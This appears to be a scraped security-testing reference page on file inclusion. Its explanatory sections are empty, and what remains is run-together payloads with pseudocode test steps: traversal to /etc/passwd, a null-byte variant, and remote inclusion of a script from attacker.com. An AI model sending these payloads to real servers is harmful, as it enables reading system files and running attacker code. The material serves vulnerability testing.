File Inclusion
Description
Example with Scenario
Payloads and Test Cases
/include?file=../../../../etc/passwd/include?file=http://attacker.com/malicious.php/include?file=../../../../etc/passwd%00
/include?file=../../../../etc/passwd# Send payload to the server sendPayloadToServer("/include?file=../../../../etc/passwd") # Verify if the application includes the /etc/passwd file checkFileInclusion("/etc/passwd")
/include?file=http://attacker.com/malicious.php# Send payload to the server sendPayloadToServer("/include?file=http://attacker.com/malicious.php") # Verify if the application includes the remote file checkRemoteFileInclusion("http://attacker.com/malicious.php")
/include?file=../../../../etc/passwd%00# Send payload to the server sendPayloadToServer("/include?file=../../../../etc/passwd%00") # Verify if the application includes the /etc/passwd file despite null byte checkFileInclusion("/etc/passwd")
Mitigation
Last updated